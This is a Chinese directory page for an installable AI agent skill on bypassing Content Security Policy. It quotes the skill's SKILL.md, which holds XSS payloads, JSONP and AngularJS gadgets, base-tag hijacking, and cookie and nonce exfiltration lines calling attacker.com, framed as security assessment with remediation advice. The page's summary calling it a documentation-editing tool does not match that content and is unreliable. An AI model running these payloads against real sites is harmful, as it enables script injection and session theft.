Token导航 LogoToken导航

Agent Skill · 研究检索

performing-content-security-policy-bypass(执行内容安全策略绕过)

用于辅助文档、README、Markdown、说明文和内容稿件的整理与改写。它适合让 Agent 提炼结构、补齐章节、统一术语、检查链接或把零散材料整理成可读文档。使用时应保留项目已有事实、命令和路径,不要把未确认的信息写成确定结论;涉及对外文案时,还需要控制语气,避免过度营销或夸大能力。

performing-content-security-policy-bypass 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为操作浏览器;许可证信息还不明确,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 68,015。

总安装 238周安装 10GitHub Stars 5,861下载 83核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:performing-content-security-policy-bypass(执行内容安全策略绕过)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/performing-content-security-policy-bypass
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-content-security-policy-bypass
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-content-security-policy-bypass

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

用于辅助文档、README 和内容稿件的整理与改写。适合在 Codex、Claude、Cursor、Gemini CLI 中提炼结构或统一术语。使用时应保留项目已有事实,避免将未确认信息写成确定结论。涉及对外文案时,需控制语气,防止过度营销或夸大能力。

performing-content-security-policy-bypass 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/performing-content-security-policy-bypass

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skil…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要操作浏览器,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

performing-content-security-policy-bypass 怎么安装?

在终端执行 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performi…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

performing-content-security-policy-bypass 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

performing-content-security-policy-bypass 需要什么权限?

权限级别是操作浏览器。该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

performing-content-security-policy-bypass 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

performing-content-security-policy-bypass 用的人多吗?

公开数据是累计安装 238 次,近一周安装 10 次,下载 83 次,GitHub 5,861 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

performing-content-security-policy-bypass 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 5,861 星,维护活跃度相对可查。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
performing-content-security-policy-bypass

执行内容安全策略绕过 · 本页

2385,861操作浏览器未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Performing Content Security Policy Bypass

When to Use

  • When XSS is found but execution is blocked by Content Security Policy
  • During web application security assessments to evaluate CSP effectiveness
  • When testing the robustness of CSP against known bypass techniques
  • During bug bounty hunting where CSP prevents direct XSS exploitation
  • When auditing CSP header configuration for security weaknesses

Prerequisites

  • Burp Suite for intercepting responses and analyzing CSP headers
  • CSP Evaluator (Google) for automated policy analysis
  • Understanding of CSP directives (script-src, default-src, style-src, etc.)
  • Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
  • Browser developer tools for CSP violation monitoring
  • Collection of whitelisted domain JSONP endpoints

Workflow

Step 1 — Analyze the CSP Policy

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

Step 2 — Exploit unsafe-inline and unsafe-eval

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead

Step 3 — Exploit Whitelisted Domain JSONP Endpoints

# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>

Step 4 — Exploit base-uri and Form Action Bypasses

# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">

Step 5 — Exploit Nonce and Hash Bypasses

# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce

# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another

# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution

# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'

Step 6 — Exploit Data Exfiltration Without script-src

# Even without script execution, data exfiltration is possible:

# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">

# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>

# Via connect-src (if allows external):
<script nonce="valid">
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">

# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers

Key Concepts

ConceptDescription
unsafe-inlineCSP directive allowing inline script execution, defeating XSS protection
Nonce-based CSPUsing random nonces to allow specific scripts while blocking injected ones
JSONP BypassExploiting JSONP endpoints on whitelisted domains to execute attacker callbacks
Policy InjectionInjecting CSP directives through reflected user input in headers
base-uri HijackingRedirecting relative script loads by injecting a base element
Script GadgetsLegitimate library features that can be abused to bypass CSP
CSP Report-OnlyNon-enforcing CSP mode that only logs violations without blocking

Tools & Systems

ToolPurpose
CSP EvaluatorGoogle tool for analyzing CSP policy weaknesses
Burp SuiteHTTP proxy for CSP header analysis and bypass testing
CSP ScannerBrowser extension for identifying CSP bypass opportunities
csp-bypassCurated list of CSP bypass techniques and payloads
RetireJSIdentify vulnerable JavaScript libraries on whitelisted CDNs
DOM InvaderBurp tool for testing CSP bypasses through DOM manipulation

Common Scenarios

  1. JSONP Callback XSS — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads
  2. AngularJS Sandbox Escape — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions
  3. Nonce Leakage — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces
  4. Base URI Hijacking — Inject base element to redirect all relative script loads to attacker-controlled server
  5. Report-Only Exploitation — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS

Output Format

## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'

### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |

### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |

### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers

平台分布

Codex

36.84%
按下载量换算31

Claude

28.14%
按下载量换算23

Cursor

18.29%
按下载量换算15

Gemini CLI

8.41%
按下载量换算7

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

操作浏览器

该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills